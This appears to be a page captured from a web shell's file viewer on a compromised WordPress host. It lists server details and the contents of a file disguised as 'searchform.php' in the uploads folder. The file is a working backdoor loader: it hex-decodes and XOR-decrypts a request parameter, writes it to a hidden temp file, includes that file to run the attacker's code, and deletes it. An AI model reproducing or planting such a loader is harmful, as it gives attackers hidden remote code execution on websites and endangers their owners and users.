HEX
Server: Apache/2
System: Linux sv174 5.14.0-570.21.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jun 11 07:22:35 EDT 2025 x86_64
User: casinobe (1137)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/casinobe/domains/pug555-a.com/public_html/wp-content/uploads/wpcode/g/c/c/searchform.php
<?php

if(!empty($_REQUEST["ke\x79"])){
	$flg = hex2bin($_REQUEST["ke\x79"]);
	$data_chunk    =     ''     ;      for($g=0; $g<strlen($flg); $g++){$data_chunk .= chr(ord($flg[$g]) ^ 84);}
	$descriptor = array_filter([getenv("TMP"), "/tmp", getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", "/dev/shm", session_save_path(), ini_get("upload_tmp_dir")]);
	foreach ($descriptor as $key => $binding) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($binding)) {
    $k = sprintf("%s/.component", $binding);
    $file = fopen($k, 'w');
if ($file) {
	fwrite($file, $data_chunk);
	fclose($file);
	include $k;
	@unlink($k);
	exit;
}
}
}
}